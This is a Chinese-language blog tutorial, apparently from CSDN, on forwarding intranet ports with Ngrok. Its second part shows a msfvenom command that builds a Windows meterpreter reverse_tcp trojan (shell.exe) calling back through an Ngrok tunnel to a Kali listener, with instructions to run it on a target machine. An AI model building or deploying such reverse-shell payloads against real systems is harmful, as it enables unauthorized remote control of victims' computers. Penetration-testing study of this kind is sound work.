使用Ngrok来进行内网端口转发

前言:

在学习了网络安全之后,我们知道了公网和私网(内网),私网是不能直接在公网传输和通信的。比如一个学校,一个公司,都是单独在自己的私网里面,通过这个私网内部的路由器(NAPT方式)和外界通信。那么如果A公司的员工要和B公司的员工通过公司的网络进行通信,由于A公司的员工和B公司的员工都是在单独的私网里面,那么怎么办呢?

内网转发:

通过字面的意思也不难理解,就是将内部的网络和端口,也就私网的网络和端口进行转发,那么转发又是转发到那里呢?
这里的转发的地址当然是公网地址

操作:

首先在自己的机器中搭建个web环境,端口是80,本机访问192.168.101.51:80即可访问web页面。
在这里插入图片描述
本机内网ip地址:
在这里插入图片描述
此时如果我们想通过其他私有网络直接访问192.168.101.51:80这个地址肯定是无法 访问的。

首先我们可以去http://www.ngrok.cc官网注册一个账号,随后点击开通隧道,找到免费服务器,点击立即购买。
第一步:
在这里插入图片描述第二步:
在这里插入图片描述
第三步:下载客户端,根据自己的操作系统来决定。
在这里插入图片描述第四步:我这里由于是windows的,所以下载的客户端版本是windows的
在这里插入图片描述第五步:双击启动了以后,输入客户端id号(隧道id号),回车即可。
在这里插入图片描述第六步:如果提示online,并且出现下面的样子,说明此时已经转发成功

f第七步:此时在其他任意网络内,只要访问转发过后的地址,即可访问到本机web环境。
在这里插入图片描述

msf上线

kali:192.168.30.128
https://www.ngrok.cc/登录并注册、开通tcp隧道
下载linux的ngrok客户端、在kali中运行ngrok的客户端

在这里插入图片描述
运行成功的截图如下:

在这里插入图片描述
此时通过kali设置木马

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=(Ngrok服务器)  lport=(Ngrok端口) -f exe > shell.exe

kali加载msf、设置对应的payload,lhost为127.0.0.1、lport为需要转发的4444端口

在这里插入图片描述exploit开启监听

在这里插入图片描述
将之前生产木马上传到目标机器中运行后,成功上线。

在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值